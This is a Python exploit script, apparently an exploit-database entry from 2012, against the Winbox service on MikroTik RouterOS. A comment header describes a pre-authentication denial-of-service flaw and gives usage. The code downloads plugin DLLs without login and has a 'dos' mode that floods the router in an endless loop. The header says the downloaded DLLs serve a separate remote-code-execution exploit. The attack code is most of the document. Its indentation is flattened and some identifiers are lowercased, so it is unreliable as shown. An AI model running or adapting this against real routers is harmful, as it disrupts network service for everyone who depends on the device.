#!/usr/bin/python
# exploit title: mikrotik router remote denial of service attack
# date: 19/4/2012
# author: pouran @ 133tsec.com
# software link: http://www.mikrotik.com
# version: all mikrotik routers with winbox service enabled are affected (still a 0day 30/5/2012)
# tested on: mikrotis routeros 2.9.6 up to 5.15
#
# vulnerability description
# ===========================
# details & poc video : http://www.133tsec.com/2012/04/30/0d...e-ddos-attack/
# the denial of service, happens on mikrotik router's winbox service when
# the attacker is requesting continuesly a part of a .dll/plugin file, so the service
# becomes unstable causing every remote clients (with winbox) to disconnect
# and denies to accept any further connections. that happens for about 5 minutes. after
# the 5 minutes, winbox is stable again, being able to accept new connections.
# if you send the malicious packet in a loop (requesting part of a file right after
# the service becoming available again) then you result in a 100% denial of winbox service.
# while the winbox service is unstable and in a denial to serve state, it raises router's cpu 100%
# and other actions. the "other actions" depends on the router version and on the hardware.
# for example on mikrotik router v3.30 there was a lan corruption, bgp fail, whole router failure
# => mikrotik router v2.9.6 there was a bgp failure
# => mikrotik router v4.13 unstable wifi links
# => mikrotik router v5.14/5.15 rarely stacking
# =>>> behaviour may vary most times, but all will have cpu 100% . most routers loose bgp after long time attack <<<=
#
#
# the exploit
# =============
# this is a vulnerability in winbox service, exploiting the fact that winbox lets you download files/plugins
# that winbox client needs to control the server, and generally lets you gain basic infos about the service before
# user login!
# sending requests specially crafted for the winbox service, can cause a 100% denial of winbox service (router side).
# this script, offers you the possibility to download any of the dlls that can be downloaded from the router one-by-one
# or alltogether! (look usage for more info) .. the file must be contained in the router's dll index.
# the dlls downloaded, are in the format of the winbox service.. meaning that they are compressed with gzip and they
# have 0xffff bytes every 0x101 bytes (the format that winbox client is expecting the files)
# these dlls can be used by the "winbox remote code execution" exploit script
#
# usage
# =======
# use the script as described below:
# 1. you can download all the files of the router's dll index using the following command:
# python mkdl.py 10.0.0.1 * 1
# the "1" in the end, is the speed.. "speed" is a factor i added, so the script delays a bit while receiving
# information from the server. it is a must for remote routers when they are in long distance (many hops) to use
# a slower speed ( 9 for example ).
# also in the beginning of the dlls file list, script shows you the router's version (provided by router's index)
# 2. you can download a specific .dll file from the remote router.
# python mkdl.py 10.67.162.1 roteros.dll 1
# in this example i download roteros.dll (which is the biggest and main plugin) with a speed factor of 1 (very fast)
# because roteros and 1-2 other files are big, you have to request them in different part (parts of 64k each)
# that is a restriction of winbox communication protocol.
# if you don't know which file to request, make a "*" request first (1st usage example), see the dlls list, and press ctrl-c
# to stop the script.
# 3. you can cause a denial of service to the remote router.. means denial in winbox service or more (read above for more)
# python mkdl.py 10.67.162.1 dos
# this command starts requesting from router's winbox service the 1st part of roteros.dll looping the request
# and causing dos to the router. the script is requesting the file till the router stops responding to the port (8291)
# then it waits till the service is up again (using some exception handling), then it requests again till the remote
# service is down again etc etc... the requests lasts for about 2 seconds, and the router is not responding for about
# 5 minutes as far as i have seen from my tests in different routeros versions.
#
# <> greetz to mbarb, dennis, andreas, awmn and all mighty researchers out there! keep walking guys <>
#
import socket, sys, os, struct, random, time

def initconnection(mikrotikip, speed):
s = socket.socket(socket.af_inet, socket.sock_stream)
s.connect((mikrotikip, 8291))
s.send(winboxstartingindex)
data = s.recv(1024) # receiving dll index from server
time.sleep(0.001*speed)
if data.find("\xff\x02"+"index"+"\x00") > -1:
print "[+] index received!"
else:
print "[+] wrong index.. exiting.."
sys.exit(0)
return s

def download(filename, speed, s):
f = open(filename, 'wb')
if len(filename) < 13 and len(filename) > 6:
print "[+] requesting file ", filename, ' <->'
winboxstartingfilereq = requestheader + filename.ljust(12, '\x00') + requestfirstfooter
s.send(winboxstartingfilereq)
time.sleep(0.001*speed)
datareceived = s.recv(1)
if datareceived[0:1]=='\xff':
print "[+] receiving the file..."
f.write(datareceived) # written 1st byte
time.sleep(0.001*speed)
datareceived = s.recv(0x101) # 0x100 + 1
nextpartfingerprint = struct.unpack('>h', datareceived[14:16])[0]
if datareceived[0:1]=='\x02':
time.sleep(0.001*speed)
f.write(datareceived) # written 1st chunk 0x102 bytes with header in file.
datareceived = s.recv(0x102) # 1st sequence of (0xff 0xff)
bytestoread = int(datareceived[len(datareceived)-2].encode('hex'), 16) + 2
f.write(datareceived) # write the next 0x102 bytes (total 0x102+0x102 in file)
else:
print "[-] wrong data received..(2)"
sys.exit(0)
else:
print "[-] wrong data received..(1)"
sys.exit(0)

finalpart=0
bigfilecounter = 0xffed
packetscounted=0 # counter for the 0x101 packet counts. every time a file is requested this counter is 0
filerequested=0 # every time a file needs to be requested more than 1 time, this is it's counter.
while 1: # header of file done.. now loop the body..
packetscounted+=1 # dbg
time.sleep(0.001*speed)
datareceived = s.recv(bytestoread)
f.write(datareceived)
if (bytestoread <> len(datareceived)) and packetscounted==255: # an den diavazei osa bytestoread prepei, simainei oti eftase sto telos i lipsi tou part pou katevazoume
packetscounted = -1
print '[+] next file part : ', filerequested
s.send(requestheader + filename.ljust(12, '\x00') + '\xff\xed\x00' + struct.pack('=b',filerequested) + struct.pack('>h',bigfilecounter))
time.sleep(0.001*speed)
datareceived = s.recv(0x101 + 2) # reads the new header of the new part!!!
nextpartfingerprint = struct.unpack('>h', datareceived[14:16])[0]
f.write(datareceived)
bytestoread = int(datareceived[len(datareceived)-2].encode('hex'), 16)
filerequested += 1
bigfilecounter -= 0x13
bytestoread = int(datareceived[len(datareceived)-2].encode('hex'), 16) # den prostheto 2 tora giati to teleutaio den einai ff.. einai akrivos to size pou paramenei..
if bytestoread==0xff: # kalipto tin periptosi opou to teleutaio struct den einai ff alla exei to size pou apomenei
bytestoread += 2
if bytestoread != 0x101 and nextpartfingerprint < 65517: # dikaiologountai ta liga bytes otan teleiose ena apo ta parts tou file
time.sleep(0.001*speed)
datareceived = s.recv(bytestoread)
f.write(datareceived)
break
if bytestoread != 0x101 and nextpartfingerprint==65517: # ligotera bytes kai fingerprint 65517 simainei corrupted file..
print '[-] file download terminated abnormaly.. please try again probably with a slower speed..'
sys.exit(0)
if filerequested < 1: print '[+] file was small and was downloaded in one part\n[+] downloaded successfully'
else: print '[+] file '+filename+' downloaded successfully'
f.close()
s.close()


def flood(s):
filename = 'roteros.dll'
f = 'we\'r not gonna use i/o to store the data'
print "[+] requesting file ", filename, ' till death '
time.sleep(1)
winboxstartingfilereq = requestheader + filename.ljust(12, '\x00') + requestfirstfooter
s.send(winboxstartingfilereq)
time.sleep(0.001)
datareceived = s.recv(1)
if datareceived[0:1]=='\xff':
f = datareceived # written 1st byte
time.sleep(0.001)
datareceived = s.recv(0x101) # 0x100 + 1
nextpartfingerprint = struct.unpack('>h', datareceived[14:16])[0]
if datareceived[0:1]=='\x02':
time.sleep(0.001)
f = datareceived # written 1st chunk 0x102 bytes with header in file.
datareceived = s.recv(0x102) # 1st sequence of (0xff 0xff)
bytestoread = int(datareceived[len(datareceived)-2].encode('hex'), 16) + 2
f = datareceived # write the next 0x102 bytes (total 0x102+0x102 in file)
else:
print "[-] wrong data received..(2)"
sys.exit(0)
else:
print "[-] wrong data received..(1)"
sys.exit(0)

finalpart=0
bigfilecounter = 0xffed
packetscounted=0 # counter for the 0x101 packet counts. every time a file is requested this counter is 0
filerequested=0 # every time a file needs to be requested more than 1 time, this is it's counter.
try:
while 1:
s.send(requestheader + filename.ljust(12, '\x00') + '\xff\xed\x00' + struct.pack('=b',filerequested) + struct.pack('>h',bigfilecounter))
s.recv(1)
print '- sending evil packet.. press ctrl-c to stop -'
except:
print 'connection reseted by server.. trying attacking again'


################################################## ################################################## ###########
########################################### script body starts here ###########################################
global requestheader
requestheader = ('\x12\x02')
global requestfirstfooter
requestfirstfooter = ('\xff\xed\x00\x00\x00\x00')

global winboxstartingindex
winboxstartingindex=(requestheader + 'index' + '\x00'*7 + requestfirstfooter)
winboxstartingfilereq=(requestheader + '\x00'*12 + requestfirstfooter)

print '\n[winbox plugin downloader]\n\n'

if len(sys.argv)==3:
if sys.argv[2]=='dos': # if i combine both checks in 1st if, there will be error.. guess why..
print '[+] hmmm we gonna attack it..'
time.sleep(1)
speed=1
mikrotikip = sys.argv[1]
filename = sys.argv[2]
while 1:
time.sleep(1)
try:
s = initconnection(mikrotikip, speed)
flood(s)
except:
time.sleep(1)

if len(sys.argv)<>4:
print 'usage : '+sys.argv[0]+' <mikrotik_ip> <filename_to_download> <speed>\n\t<speed>:\t [from 0 to 9] 1=faster, 9=slower but more reliable\n'
sys.exit(0)

mikrotikip = sys.argv[1]
filename = sys.argv[2]
speed = int(sys.argv[3])
if speed>9 or speed<1:
print 'speed must be between 1 and 9 else there are unexpected results!'
sys.exit(0)

s = socket.socket(socket.af_inet, socket.sock_stream)
s.connect((mikrotikip, 8291))
s.send(winboxstartingindex)
data = s.recv(1024) # receiving dll index from server
s.close()

if filename.find('*') > -1:
dlllist = data.split('\x0a')
print 'mikrotik\'s version is '+dlllist[1].split(' ')[3]+'\nthe following dlls gonna be requested :'
for i in range(0, len(dlllist)-1):
print dlllist[i].split(' ')[2]
raw_input('> press enter to continue <')
for extracteddlls in range(0, len(dlllist)-1):
print "[+] requesting ", dlllist[extracteddlls].split(' ')[2]
filename=dlllist[extracteddlls].split(' ')[2]
s = initconnection(mikrotikip, speed)
download(filename, speed, s)
else:
s = initconnection(mikrotikip, speed)
download(filename, speed, s)